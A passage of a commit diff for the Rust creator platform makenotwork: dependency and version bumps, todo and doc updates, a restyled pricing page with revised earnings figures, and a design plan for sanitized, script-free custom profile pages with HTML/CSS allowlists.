max / makenotwork
10 files changed,
+771 insertions,
-49 deletions
| @@ -278,6 +278,16 @@ dependencies = [ | |||
| 278 | 278 | ] | |
| 279 | 279 | ||
| 280 | 280 | [[package]] | |
| 281 | + | name = "assert-json-diff" | |
| 282 | + | version = "2.0.2" | |
| 283 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 284 | + | checksum = "47e4f2b81832e72834d7518d8487a0396a28cc408186a2e8854c0f98011faf12" | |
| 285 | + | dependencies = [ | |
| 286 | + | "serde", | |
| 287 | + | "serde_json", | |
| 288 | + | ] | |
| 289 | + | ||
| 290 | + | [[package]] | |
| 281 | 291 | name = "async-channel" | |
| 282 | 292 | version = "1.9.0" | |
| 283 | 293 | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| @@ -1762,6 +1772,24 @@ source = "registry+https://github.com/rust-lang/crates.io-index" | |||
| 1762 | 1772 | checksum = "d7a1e2f27636f116493b8b860f5546edb47c8d8f8ea73e1d2a20be88e28d1fea" | |
| 1763 | 1773 | ||
| 1764 | 1774 | [[package]] | |
| 1775 | + | name = "deadpool" | |
| 1776 | + | version = "0.12.3" | |
| 1777 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 1778 | + | checksum = "0be2b1d1d6ec8d846f05e137292d0b89133caf95ef33695424c09568bdd39b1b" | |
| 1779 | + | dependencies = [ | |
| 1780 | + | "deadpool-runtime", | |
| 1781 | + | "lazy_static", | |
| 1782 | + | "num_cpus", | |
| 1783 | + | "tokio", | |
| 1784 | + | ] | |
| 1785 | + | ||
| 1786 | + | [[package]] | |
| 1787 | + | name = "deadpool-runtime" | |
| 1788 | + | version = "0.1.4" | |
| 1789 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 1790 | + | checksum = "092966b41edc516079bdf31ec78a2e0588d1d0c08f78b91d8307215928642b2b" | |
| 1791 | + | ||
| 1792 | + | [[package]] | |
| 1765 | 1793 | name = "deflate64" | |
| 1766 | 1794 | version = "0.1.11" | |
| 1767 | 1795 | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| @@ -2675,6 +2703,12 @@ source = "registry+https://github.com/rust-lang/crates.io-index" | |||
| 2675 | 2703 | checksum = "2304e00983f87ffb38b55b444b5e3b60a884b5d30c0fca7d82fe33449bbe55ea" | |
| 2676 | 2704 | ||
| 2677 | 2705 | [[package]] | |
| 2706 | + | name = "hermit-abi" | |
| 2707 | + | version = "0.5.2" | |
| 2708 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 2709 | + | checksum = "fc0fef456e4baa96da950455cd02c081ca953b141298e41db3fc7e36b1da849c" | |
| 2710 | + | ||
| 2711 | + | [[package]] | |
| 2678 | 2712 | name = "hex" | |
| 2679 | 2713 | version = "0.4.3" | |
| 2680 | 2714 | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| @@ -3474,7 +3508,7 @@ dependencies = [ | |||
| 3474 | 3508 | ||
| 3475 | 3509 | [[package]] | |
| 3476 | 3510 | name = "makenotwork" | |
| 3477 | - | version = "0.5.17" | |
| 3511 | + | version = "0.5.18" | |
| 3478 | 3512 | dependencies = [ | |
| 3479 | 3513 | "anyhow", | |
| 3480 | 3514 | "argon2", | |
| @@ -3536,6 +3570,7 @@ dependencies = [ | |||
| 3536 | 3570 | "webauthn-authenticator-rs", | |
| 3537 | 3571 | "webauthn-rs", | |
| 3538 | 3572 | "webauthn-rs-proto", | |
| 3573 | + | "wiremock", | |
| 3539 | 3574 | "yara-x", | |
| 3540 | 3575 | "zip", | |
| 3541 | 3576 | ] | |
| @@ -3872,6 +3907,16 @@ dependencies = [ | |||
| 3872 | 3907 | ] | |
| 3873 | 3908 | ||
| 3874 | 3909 | [[package]] | |
| 3910 | + | name = "num_cpus" | |
| 3911 | + | version = "1.17.0" | |
| 3912 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 3913 | + | checksum = "91df4bbde75afed763b708b7eee1e8e7651e02d97f6d5dd763e89367e957b23b" | |
| 3914 | + | dependencies = [ | |
| 3915 | + | "hermit-abi", | |
| 3916 | + | "libc", | |
| 3917 | + | ] | |
| 3918 | + | ||
| 3919 | + | [[package]] | |
| 3875 | 3920 | name = "object" | |
| 3876 | 3921 | version = "0.38.1" | |
| 3877 | 3922 | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| @@ -7387,6 +7432,29 @@ dependencies = [ | |||
| 7387 | 7432 | ] | |
| 7388 | 7433 | ||
| 7389 | 7434 | [[package]] | |
| 7435 | + | name = "wiremock" | |
| 7436 | + | version = "0.6.5" | |
| 7437 | + | source = "registry+https://github.com/rust-lang/crates.io-index" | |
| 7438 | + | checksum = "08db1edfb05d9b3c1542e521aea074442088292f00b5f28e435c714a98f85031" | |
| 7439 | + | dependencies = [ | |
| 7440 | + | "assert-json-diff", | |
| 7441 | + | "base64 0.22.1", | |
| 7442 | + | "deadpool", | |
| 7443 | + | "futures", | |
| 7444 | + | "http 1.4.0", | |
| 7445 | + | "http-body-util", | |
| 7446 | + | "hyper 1.8.1", | |
| 7447 | + | "hyper-util", | |
| 7448 | + | "log", | |
| 7449 | + | "once_cell", | |
| 7450 | + | "regex", | |
| 7451 | + | "serde", | |
| 7452 | + | "serde_json", | |
| 7453 | + | "tokio", | |
| 7454 | + | "url", | |
| 7455 | + | ] | |
| 7456 | + | ||
| 7457 | + | [[package]] | |
| 7390 | 7458 | name = "wit-bindgen" | |
| 7391 | 7459 | version = "0.51.0" | |
| 7392 | 7460 | source = "registry+https://github.com/rust-lang/crates.io-index" |
| @@ -1,6 +1,6 @@ | |||
| 1 | 1 | [package] | |
| 2 | 2 | name = "makenotwork" | |
| 3 | - | version = "0.5.17" | |
| 3 | + | version = "0.5.18" | |
| 4 | 4 | edition = "2024" | |
| 5 | 5 | license-file = "LICENSE" | |
| 6 | 6 | ||
| @@ -133,3 +133,4 @@ http-body-util = "0.1" | |||
| 133 | 133 | webauthn-authenticator-rs = { version = "0.5", features = ["softpasskey"] } | |
| 134 | 134 | tempfile = "3" | |
| 135 | 135 | proptest = "1" | |
| 136 | + | wiremock = "0.6" |
| @@ -22,6 +22,8 @@ Creator platform with 0% platform fee (only Stripe's ~3% processing fee). Rust/A | |||
| 22 | 22 | ||
| 23 | 23 | Single binary, single process. Migrations auto-run on boot. Background tasks (health monitor, scheduler) run as spawned Tokio tasks within the same process. | |
| 24 | 24 | ||
| 25 | + | For capacity planning and the upgrade path from current single-VM topology through 100k creators (including cost projections), see `scaling.md`. | |
| 26 | + | ||
| 25 | 27 | ## Code Structure | |
| 26 | 28 | ||
| 27 | 29 | ``` |
| @@ -20,6 +20,26 @@ Items requiring manual action, external accounts, legal engagement, design decis | |||
| 20 | 20 | | Microsoft Partner Center account | Blocked by Microsoft trust check — ref 715-123225, contact support | Windows Store distribution (optional) | | |
| 21 | 21 | | Windows code signing certificate | Not started (individual or traditional cert — Azure Trusted Signing requires 3yr history) | GO/BB/AF Windows builds | | |
| 22 | 22 | | OAuth Provider Registration (Fastmail) | Need to send registration info to partnerships@fastmailteam.com | GO Fastmail email OAuth | | |
| 23 | + | | Stripe Customer Portal activation | Dashboard → Settings → Billing → Customer portal → Activate. ~2 min, no code change. | Fan+ "Manage billing" button (deployed 2026-05-14 in MNW 0.5.18); Cancel/Resume work without this. | | |
| 24 | + | ||
| 25 | + | --- | |
| 26 | + | ||
| 27 | + | ## DIY Tier — Decisions Needed Before Implementation | |
| 28 | + | ||
| 29 | + | Modeled at $12/yr annual-only, break-even, as a creator-acquisition wedge into Basic+. See `todo.md` § DIY Tier for the engineering plan. These items require user/business decisions before any code is written. | |
| 30 | + | ||
| 31 | + | - [ ] **Final price confirmation** — $12/yr modeled. Alternative: $10/yr (rounder pitch, ~$0.50/creator/yr loss). Pick one and commit publicly. | |
| 32 | + | - [ ] **Tier name** — "DIY," "Embed," "Self-Hosted," "Lite." Affects positioning vs. Basic. | |
| 33 | + | - [ ] **Stripe product/price IDs** — create $12/yr annual price in Stripe dashboard, capture into `CREATOR_TIER_DIY_PRICE_ID` env var (prod + staging). | |
| 34 | + | - [ ] **"Powered by MNW" attribution policy** — on by default + opt-out, or always-on. Affects marketing value vs. creator pushback. | |
| 35 | + | - [ ] **Country allow-list at signup** — match Stripe Connect Express supported countries. Confirm list with Stripe docs before launch. | |
| 36 | + | - [ ] **ToS / support policy page** — write the explicit "DIY support is community-first, no SLA" doc. Load-bearing for the support model; legal eyes optional but recommended. | |
| 37 | + | - [ ] **Pricing-page copy** — DIY tier needs an honest pitch that names what's excluded (no hosted profile, no discovery, no files, no mobile). Drafting blocked on tier name + price. | |
| 38 | + | - [ ] **Signup cap policy** — pre-commit to a number (e.g. 5,000 DIY creators) above which signups close or price rises. Easier to set the rule now than under pressure later. | |
| 39 | + | - [ ] **Forum infrastructure decision** — Discourse self-hosted vs. existing tooling vs. GitHub Discussions. DIY tier launch is gated on having a place to send people who aren't getting email support. | |
| 40 | + | - [ ] **Office-hours commitment** — 1 hr/week recurring. Confirm time slot and whether it's Zoom/async/forum-thread. Calendar block before announcing. | |
| 41 | + | - [ ] **Conversion-tracking goal** — write down the explicit target (modeled at 3%/yr → Basic+). Below 2%/yr after 12 months triggers re-pricing or scope cut. | |
| 42 | + | - [ ] **DIY launch timing** — post-soft-launch, after Basic+ tiers are stable and have real creators. Do NOT launch DIY alongside soft launch — it would dilute the funnel and add support load during the highest-risk period. | |
| 23 | 43 | ||
| 24 | 44 | --- | |
| 25 | 45 |
| @@ -5,16 +5,14 @@ | |||
| 5 | 5 | <meta name="viewport" content="width=device-width, initial-scale=1.0"> | |
| 6 | 6 | <title>makenot.work — Creator Platform Overview</title> | |
| 7 | 7 | <style> | |
| 8 | - | @import url('https://fonts.googleapis.com/css2?family=Lato:wght@400;700&family=IBM+Plex+Mono:wght@400;600&display=swap'); | |
| 8 | + | @import url('https://fonts.googleapis.com/css2?family=Young+Serif&family=Lato:wght@400;700&family=IBM+Plex+Mono:wght@400;600&display=swap'); | |
| 9 | 9 | ||
| 10 | 10 | :root { | |
| 11 | 11 | --beige: #ede8e1; | |
| 12 | 12 | --charcoal: #3d3530; | |
| 13 | 13 | --violet: #6c5ce7; | |
| 14 | - | --violet-light: #a29bfe; | |
| 15 | - | --warm-white: #f7f5f2; | |
| 16 | 14 | --border: #d4cec6; | |
| 17 | - | --green: #2d8a4e; | |
| 15 | + | --text-muted: #6b6059; | |
| 18 | 16 | } | |
| 19 | 17 | ||
| 20 | 18 | * { margin: 0; padding: 0; box-sizing: border-box; } | |
| @@ -27,7 +25,7 @@ | |||
| 27 | 25 | body { | |
| 28 | 26 | font-family: 'Lato', sans-serif; | |
| 29 | 27 | color: var(--charcoal); | |
| 30 | - | background: var(--warm-white); | |
| 28 | + | background: var(--beige); | |
| 31 | 29 | line-height: 1.55; | |
| 32 | 30 | -webkit-font-smoothing: antialiased; | |
| 33 | 31 | } | |
| @@ -47,17 +45,22 @@ | |||
| 47 | 45 | } | |
| 48 | 46 | ||
| 49 | 47 | .header h1 { | |
| 50 | - | font-family: 'Georgia', 'Times New Roman', serif; | |
| 48 | + | font-family: 'Young Serif', serif; | |
| 51 | 49 | font-size: 2.2rem; | |
| 52 | 50 | font-weight: 400; | |
| 53 | 51 | letter-spacing: 0.02em; | |
| 54 | 52 | margin-bottom: 0.5rem; | |
| 53 | + | text-transform: none; | |
| 54 | + | } | |
| 55 | + | ||
| 56 | + | .header h1 .dot { | |
| 57 | + | color: var(--violet); | |
| 55 | 58 | } | |
| 56 | 59 | ||
| 57 | 60 | .header .tagline { | |
| 58 | 61 | font-family: 'IBM Plex Mono', monospace; | |
| 59 | 62 | font-size: 0.95rem; | |
| 60 | - | color: var(--violet); | |
| 63 | + | color: var(--charcoal); | |
| 61 | 64 | font-weight: 600; | |
| 62 | 65 | } | |
| 63 | 66 | ||
| @@ -72,14 +75,14 @@ | |||
| 72 | 75 | font-weight: 600; | |
| 73 | 76 | text-transform: uppercase; | |
| 74 | 77 | letter-spacing: 0.12em; | |
| 75 | - | color: var(--violet); | |
| 78 | + | color: var(--charcoal); | |
| 76 | 79 | margin-bottom: 1rem; | |
| 77 | 80 | padding-bottom: 0.3rem; | |
| 78 | 81 | border-bottom: 1px solid var(--border); | |
| 79 | 82 | } | |
| 80 | 83 | ||
| 81 | 84 | h2 { | |
| 82 | - | font-family: 'Georgia', 'Times New Roman', serif; | |
| 85 | + | font-family: 'Young Serif', serif; | |
| 83 | 86 | font-size: 1.35rem; | |
| 84 | 87 | font-weight: 400; | |
| 85 | 88 | margin-bottom: 0.6rem; | |
| @@ -96,7 +99,7 @@ | |||
| 96 | 99 | } | |
| 97 | 100 | ||
| 98 | 101 | .pillar { | |
| 99 | - | background: var(--beige); | |
| 102 | + | background: #f7f5f2; | |
| 100 | 103 | padding: 1rem; | |
| 101 | 104 | border-left: 3px solid var(--violet); | |
| 102 | 105 | } | |
| @@ -124,10 +127,10 @@ | |||
| 124 | 127 | line-height: 1.5; | |
| 125 | 128 | } | |
| 126 | 129 | ||
| 127 | - | .callout strong { color: #fff; } | |
| 130 | + | .callout strong { color: var(--beige); font-weight: 700; } | |
| 128 | 131 | ||
| 129 | 132 | .callout-honest { | |
| 130 | - | background: var(--beige); | |
| 133 | + | background: #f7f5f2; | |
| 131 | 134 | color: var(--charcoal); | |
| 132 | 135 | border-left: 3px solid var(--border); | |
| 133 | 136 | padding: 0.8rem 1rem; | |
| @@ -165,7 +168,7 @@ | |||
| 165 | 168 | tr:last-child td { border-bottom: none; } | |
| 166 | 169 | ||
| 167 | 170 | .highlight-row { | |
| 168 | - | background: var(--beige); | |
| 171 | + | background: #f7f5f2; | |
| 169 | 172 | font-weight: 700; | |
| 170 | 173 | } | |
| 171 | 174 | ||
| @@ -193,7 +196,7 @@ | |||
| 193 | 196 | ||
| 194 | 197 | .feature span { | |
| 195 | 198 | font-size: 0.85rem; | |
| 196 | - | color: #5a524a; | |
| 199 | + | color: var(--text-muted); | |
| 197 | 200 | line-height: 1.4; | |
| 198 | 201 | } | |
| 199 | 202 | ||
| @@ -213,7 +216,6 @@ | |||
| 213 | 216 | .guarantee strong { | |
| 214 | 217 | font-family: 'IBM Plex Mono', monospace; | |
| 215 | 218 | font-size: 0.82rem; | |
| 216 | - | color: var(--violet); | |
| 217 | 219 | } | |
| 218 | 220 | ||
| 219 | 221 | /* ── Gaps ── */ | |
| @@ -228,18 +230,11 @@ | |||
| 228 | 230 | font-size: 0.88rem; | |
| 229 | 231 | } | |
| 230 | 232 | ||
| 231 | - | .gap-label { | |
| 232 | - | font-family: 'IBM Plex Mono', monospace; | |
| 233 | - | font-size: 0.75rem; | |
| 234 | - | color: #8a7f74; | |
| 235 | - | min-width: 2.5rem; | |
| 236 | - | } | |
| 237 | - | ||
| 238 | 233 | /* ── Divider ── */ | |
| 239 | 234 | .diamond { | |
| 240 | 235 | text-align: center; | |
| 241 | 236 | margin: 2rem 0; | |
| 242 | - | font-family: 'Georgia', 'Times New Roman', serif; | |
| 237 | + | font-family: 'Young Serif', serif; | |
| 243 | 238 | font-size: 1.2rem; | |
| 244 | 239 | color: var(--violet); | |
| 245 | 240 | letter-spacing: 1rem; | |
| @@ -257,13 +252,13 @@ | |||
| 257 | 252 | font-family: 'IBM Plex Mono', monospace; | |
| 258 | 253 | font-size: 1.1rem; | |
| 259 | 254 | font-weight: 600; | |
| 260 | - | color: var(--violet); | |
| 255 | + | color: var(--charcoal); | |
| 261 | 256 | text-decoration: none; | |
| 262 | 257 | } | |
| 263 | 258 | ||
| 264 | 259 | .footer p { | |
| 265 | 260 | font-size: 0.85rem; | |
| 266 | - | color: #8a7f74; | |
| 261 | + | color: var(--text-muted); | |
| 267 | 262 | margin-top: 0.5rem; | |
| 268 | 263 | } | |
| 269 | 264 | ||
| @@ -275,16 +270,16 @@ | |||
| 275 | 270 | ||
| 276 | 271 | .step { | |
| 277 | 272 | flex: 1; | |
| 278 | - | background: var(--beige); | |
| 273 | + | background: #f7f5f2; | |
| 279 | 274 | padding: 0.8rem; | |
| 280 | 275 | text-align: center; | |
| 281 | 276 | } | |
| 282 | 277 | ||
| 283 | 278 | .step-num { | |
| 284 | - | font-family: 'IBM Plex Mono', monospace; | |
| 279 | + | font-family: 'Young Serif', serif; | |
| 285 | 280 | font-size: 1.4rem; | |
| 286 | - | font-weight: 600; | |
| 287 | - | color: var(--violet); | |
| 281 | + | font-weight: 400; | |
| 282 | + | color: var(--charcoal); | |
| 288 | 283 | display: block; | |
| 289 | 284 | } | |
| 290 | 285 | ||
| @@ -296,7 +291,7 @@ | |||
| 296 | 291 | /* ── Print / PDF ── */ | |
| 297 | 292 | @media print { | |
| 298 | 293 | html { font-size: 13px; } | |
| 299 | - | body { background: #fff; } | |
| 294 | + | body { background: #ede8e1; } | |
| 300 | 295 | .page { padding: 0; max-width: none; } | |
| 301 | 296 | .section { page-break-inside: avoid; } | |
| 302 | 297 | .callout { -webkit-print-color-adjust: exact; print-color-adjust: exact; } | |
| @@ -317,7 +312,7 @@ | |||
| 317 | 312 | ||
| 318 | 313 | <!-- Header --> | |
| 319 | 314 | <div class="header"> | |
| 320 | - | <h1>makenot.work</h1> | |
| 315 | + | <h1>Makenot<span class="dot">.</span>work</h1> | |
| 321 | 316 | <div class="tagline">0% platform fee. Your revenue is yours.</div> | |
| 322 | 317 | </div> | |
| 323 | 318 | ||
| @@ -341,8 +336,8 @@ | |||
| 341 | 336 | </div> | |
| 342 | 337 | ||
| 343 | 338 | <div class="callout"> | |
| 344 | - | At <strong>$2,000/mo</strong> revenue, you keep <strong>~$1,850</strong> on Makenot.work.<br> | |
| 345 | - | On a 10% platform, you keep ~$1,600. On 15%, ~$1,400. The gap widens with every dollar. | |
| 339 | + | At <strong>$2,000/mo</strong> revenue, you keep <strong>~$1,870</strong> on Makenot.work.<br> | |
| 340 | + | On a 10% platform, you keep ~$1,680. On 15%, ~$1,580. The gap widens with every dollar. | |
| 346 | 341 | </div> | |
| 347 | 342 | </div> | |
| 348 | 343 | ||
| @@ -394,7 +389,7 @@ | |||
| 394 | 389 | </tbody> | |
| 395 | 390 | </table> | |
| 396 | 391 | ||
| 397 | - | <p style="font-size: 0.85rem; color: #5a524a;">All tiers include: unlimited downloads, custom profile, project storefronts, memberships, analytics, data export, RSS, 2FA/passkeys, custom domains. Tiers differ by file size and storage, not by features.</p> | |
| 392 | + | <p style="font-size: 0.85rem; color: var(--text-muted);">All tiers include: unlimited downloads, custom profile, project storefronts, memberships, analytics, data export, RSS, 2FA/passkeys, custom domains. Tiers differ by file size and storage, not by features.</p> | |
| 398 | 393 | ||
| 399 | 394 | <div class="callout-honest">If you earn less than roughly $67/month, a percentage-cut platform costs less. We'd rather be honest about that than hide the math.</div> | |
| 400 | 395 | </div> | |
| @@ -410,7 +405,7 @@ | |||
| 410 | 405 | <th>Makenot.work</th> | |
| 411 | 406 | <th>10% platform</th> | |
| 412 | 407 | <th>15% platform</th> | |
| 413 | - | <th>Savings</th> | |
| 408 | + | <th>Savings vs 15%</th> | |
| 414 | 409 | </tr> | |
| 415 | 410 | </thead> | |
| 416 | 411 | <tbody> | |
| @@ -418,41 +413,41 @@ | |||
| 418 | 413 | <td>$500</td> | |
| 419 | 414 | <td class="num highlight-row">$410–460</td> | |
| 420 | 415 | <td class="num">$420</td> | |
| 421 | - | <td class="num">$395</td> | |
| 416 | + | <td class="num">$396</td> | |
| 422 | 417 | <td class="num">$15–65</td> | |
| 423 | 418 | </tr> | |
| 424 | 419 | <tr> | |
| 425 | 420 | <td>$1,000</td> | |
| 426 | 421 | <td class="num highlight-row">$881–931</td> | |
| 427 | - | <td class="num">$870</td> | |
| 428 | - | <td class="num">$820</td> | |
| 429 | - | <td class="num">$61–111</td> | |
| 422 | + | <td class="num">$841</td> | |
| 423 | + | <td class="num">$791</td> | |
| 424 | + | <td class="num">$90–140</td> | |
| 430 | 425 | </tr> | |
| 431 | 426 | <tr> | |
| 432 | 427 | <td>$2,000</td> | |
| 433 | 428 | <td class="num highlight-row">$1,822–1,872</td> | |
| 434 | 429 | <td class="num">$1,682</td> | |
| 435 | 430 | <td class="num">$1,582</td> | |
| 436 | - | <td class="num">$140–290</td> | |
| 431 | + | <td class="num">$240–290</td> | |
| 437 | 432 | </tr> | |
| 438 | 433 | <tr> | |
| 439 | 434 | <td>$5,000</td> | |
| 440 | - | <td class="num highlight-row">$4,795–4,845</td> | |
| 441 | - | <td class="num">$4,355</td> | |
| 442 | - | <td class="num">$3,855</td> | |
| 443 | - | <td class="num">$440–990</td> | |
| 435 | + | <td class="num highlight-row">$4,645–4,695</td> | |
| 436 | + | <td class="num">$4,205</td> | |
| 437 | + | <td class="num">$3,955</td> | |
| 438 | + | <td class="num">$690–740</td> | |
| 444 | 439 | </tr> | |
| 445 | 440 | <tr> | |
| 446 | 441 | <td>$10,000</td> | |
| 447 | 442 | <td class="num highlight-row">$9,350–9,400</td> | |
| 448 | - | <td class="num">$8,610</td> | |
| 443 | + | <td class="num">$8,410</td> | |
| 449 | 444 | <td class="num">$7,910</td> | |
| 450 | - | <td class="num">$740–1,490</td> | |
| 445 | + | <td class="num">$1,440–1,490</td> | |
| 451 | 446 | </tr> | |
| 452 | 447 | </tbody> | |
| 453 | 448 | </table> | |
| 454 | 449 | ||
| 455 | - | <p style="font-size: 0.82rem; color: #5a524a;">Makenot.work range reflects $10–$60 tier fee. All columns include Stripe processing (2.9% + $0.30 per transaction). All figures assume $10 average sale price. Higher average sale prices reduce the effective Stripe rate.</p> | |
| 450 | + | <p style="font-size: 0.82rem; color: var(--text-muted);">Makenot.work range reflects $10–$60 tier fee. All columns deduct Stripe processing (2.9% + $0.30 per transaction); percentage-platform columns deduct their cut on top of that. All figures assume $10 average sale price. Higher sale prices reduce the effective Stripe rate.</p> | |
| 456 | 451 | </div> | |
| 457 | 452 | ||
| 458 | 453 | <div class="diamond">.</div> |
| @@ -0,0 +1,298 @@ | |||
| 1 | + | # Plan: Custom Pages (MySpace-style profile customization) | |
| 2 | + | ||
| 3 | + | A modern, security-first take on MySpace-style page customization for MNW. Users can write their own HTML and CSS for their user profile, project pages, and item pages. No JavaScript. **No external resources** — every URL must resolve to MNW itself. The constraint is the feature: it encourages doing more with less, eliminates tracking/exfiltration vectors, and keeps pages working forever. | |
| 4 | + | ||
| 5 | + | ## Goals | |
| 6 | + | ||
| 7 | + | - Let creators express personality on their pages without leaving the platform. | |
| 8 | + | - Closed-system rule: a customized page references only MNW-hosted assets. | |
| 9 | + | - Strict but predictable: a clear allowlist that users can learn by doing. | |
| 10 | + | - Available to all creator tiers (recruiting feature, not an upsell). | |
| 11 | + | ||
| 12 | + | ## Non-goals | |
| 13 | + | ||
| 14 | + | - No JavaScript, ever. (Re-evaluate only after a year of operation.) | |
| 15 | + | - No external embeds (`<iframe>`, `<object>`, `<embed>`). | |
| 16 | + | - No template marketplace on day one — culture forms from the blank page. | |
| 17 | + | - No theming of platform chrome (nav, payment buttons, report link, footer). | |
| 18 | + | ||
| 19 | + | --- | |
| 20 | + | ||
| 21 | + | ## Architecture overview | |
| 22 | + | ||
| 23 | + | ### Page anatomy | |
| 24 | + | ||
| 25 | + | Every customizable page has three regions: | |
| 26 | + | ||
| 27 | + | 1. **Platform chrome (fixed, server-rendered)** — nav, account menu, report link, moderation badges, footer. Never user-controllable. Always rendered outside the user's CSS scope. | |
| 28 | + | 2. **User canvas (custom)** — the page body. User HTML is injected here, wrapped in `<div class="user-canvas" id="uc-{owner_id}">`. User CSS is scoped to this selector at parse time. | |
| 29 | + | 3. **System slots (server-rendered, themable but not removable)** — for project/item pages: the buy/subscribe button block, file list, price, license info. Rendered as server templates inside the canvas with stable class names (e.g. `.mnw-buy`, `.mnw-files`) that users *can* style but cannot remove or hide. | |
| 30 | + | ||
| 31 | + | The "cannot hide" rule is enforced by: (a) server renders these elements after sanitizing user HTML, (b) the CSS visitor rejects `display:none`/`visibility:hidden`/`opacity:0` rules whose selectors match `.mnw-*` class names. | |
| 32 | + | ||
| 33 | + | ### Subdomain isolation | |
| 34 | + | ||
| 35 | + | User-rendered pages are served from `u.makenot.work` (new). The main domain serves only platform chrome and editor UI. This means: | |
| 36 | + | ||
| 37 | + | - Session cookies for `makenot.work` are not sent to `u.makenot.work`. | |
| 38 | + | - Any sanitizer bypass cannot read or write the user's session. | |
| 39 | + | - Strict CSP on `u.makenot.work` can forbid all script. | |
| 40 | + | - The main `makenot.work` domain keeps its existing CSP unchanged. | |
| 41 | + | ||
| 42 | + | Routing: `u.makenot.work/{handle}` → user page; `u.makenot.work/{handle}/{project_slug}` → project; `u.makenot.work/{handle}/{project_slug}/{item_slug}` → item. The main domain keeps its existing URLs and links across. | |
| 43 | + | ||
| 44 | + | ### Storage | |
| 45 | + | ||
| 46 | + | Three new columns on `users`, `projects`, `items`: | |
| 47 | + | ||
| 48 | + | - `custom_css TEXT NOT NULL DEFAULT ''` — capped 32KB. | |
| 49 | + | - `custom_html TEXT NOT NULL DEFAULT ''` — capped 16KB. | |
| 50 | + | - `custom_pages_updated_at TIMESTAMPTZ` — for cache invalidation and moderation review. | |
| 51 | + | ||
| 52 | + | Migration 113 (next available). | |
| 53 | + | ||
| 54 | + | No `enabled` flag — empty string means default rendering. | |
| 55 | + | ||
| 56 | + | --- | |
| 57 | + | ||
| 58 | + | ## Allowlist specification | |
| 59 | + | ||
| 60 | + | ### HTML (via `ammonia`) | |
| 61 | + | ||
| 62 | + | **Tags allowed:** | |
| 63 | + | `a, abbr, article, aside, b, blockquote, br, caption, cite, code, col, colgroup, dd, details, div, dl, dt, em, figcaption, figure, footer, h1, h2, h3, h4, h5, h6, header, hr, i, img, kbd, li, main, mark, nav, ol, p, picture, pre, q, s, samp, section, small, source, span, strong, sub, summary, sup, table, tbody, td, tfoot, th, thead, time, tr, u, ul, video, audio, track` | |
| 64 | + | ||
| 65 | + | **Attributes allowed (generic):** `class, id, title, lang, dir`. **No `style` attribute** — force users to put CSS in the CSS field (better caching, single sanitization path, no inline-style XSS surface). | |
| 66 | + | ||
| 67 | + | **Attributes allowed (per-tag):** | |
| 68 | + | ||
| 69 | + | - `a`: `href` | |
| 70 | + | - `img, source`: `src, alt, width, height, loading, srcset` | |
| 71 | + | - `video, audio`: `src, controls, loop, muted, poster, preload` | |
| 72 | + | - `track`: `src, kind, srclang, label` | |
| 73 | + | - `time`: `datetime` | |
| 74 | + | - `th, td`: `colspan, rowspan, scope` | |
| 75 | + | ||
| 76 | + | **Tags explicitly blocked:** `script, style, iframe, object, embed, form, input, button, select, textarea, link, meta, base, svg, math, frame, frameset, noscript, template`. | |
| 77 | + | ||
| 78 | + | **Attributes explicitly blocked:** all `on*` handlers, `style`, `srcdoc`, `formaction`, `xlink:*`, `xmlns*`. | |
| 79 | + | ||
| 80 | + | `<style>` is blocked in HTML because all CSS goes in the dedicated CSS field. This is a UX simplification, not just a security one. | |
| 81 | + | ||
| 82 | + | ### URLs (the key check) | |
| 83 | + | ||
| 84 | + | A single `resolve_internal_url(url, context) -> Result<String>` function gates every URL across HTML and CSS. It accepts: | |
| 85 | + | ||
| 86 | + | 1. **Relative paths**: `/foo`, `./foo`, `../foo` — kept as-is, joined to current page origin. | |
| 87 | + | 2. **Absolute MNW URLs**: `https://makenot.work/...`, `https://u.makenot.work/...`, `https://cdn.makenot.work/...` (whatever the storage CDN host is) — kept. | |
| 88 | + | 3. **Anchor fragments**: `#foo` — kept. | |
| 89 | + | 4. **Special internal schemes** (optional v2): `mnw://item/{id}`, `mnw://user/{handle}` resolved server-side to canonical URLs. | |
| 90 | + | ||
| 91 | + | It rejects: | |
| 92 | + | ||
| 93 | + | - Any other scheme (`http:`, `data:`, `blob:`, `javascript:`, `file:`, `ftp:`, `mailto:`). | |
| 94 | + | - Any other host. | |
| 95 | + | - Malformed URLs. | |
| 96 | + | ||
| 97 | + | For `<a href>`: the *pure* policy — only MNW URLs and fragments. External links are not allowed in v1. Revisit after launch based on user feedback; if added, route through `/out?to=<url>` with an interstitial and a `rel="noopener noreferrer nofollow"`. | |
| 98 | + | ||
| 99 | + | For `<img>`, `<video>`, `<audio>`, `<source>`, `<track>`, CSS `url()`, CSS `@font-face src`: MNW URLs only, always. | |
| 100 | + | ||
| 101 | + | ### CSS (via `lightningcss`) | |
| 102 | + | ||
| 103 | + | Parse the entire stylesheet to AST. Walk it with a visitor that: | |
| 104 | + | ||
| 105 | + | **Rewrites selectors.** Every top-level selector is prefixed with `.user-canvas#uc-{owner_id} `. The prefix is added by selector AST manipulation, not string concatenation, so it survives weird selector syntax. This guarantees user CSS cannot match platform chrome elements that live outside the canvas. | |
| 106 | + | ||
| 107 | + | **Filters at-rules:** | |
| 108 | + | ||
| 109 | + | - Allowed: `@media`, `@supports`, `@keyframes`, `@font-face` (with restricted `src`), `@page` (probably not useful, allow), `@layer`. | |
| 110 | + | - Blocked: `@import`, `@charset` (we set encoding), `@namespace`, `@document`, `@-webkit-*` proprietary, `@property` (allow once we trust it). | |
| 111 | + | ||
| 112 | + | **Filters properties on `.mnw-*` selectors:** if any rule's selector (after prefixing) targets a class starting with `.mnw-`, drop these properties from that rule: `display` (if value is `none`), `visibility` (if `hidden` or `collapse`), `opacity` (if `0` or numeric < 0.1), `pointer-events` (if `none`), `width`/`height` (if `0`), `transform` (if includes `scale(0)`). This preserves the rule but removes the moderation-hiding properties. | |
| 113 | + | ||
| 114 | + | **Validates `url()`:** every `url()` token goes through `resolve_internal_url`. Rejection drops the entire declaration, not the rule. | |
| 115 | + | ||
| 116 | + | **Blocks dangerous functions:** `expression()` (old IE), `-moz-binding` (old Firefox), any `image-set()` URLs that fail validation. | |
| 117 | + | ||
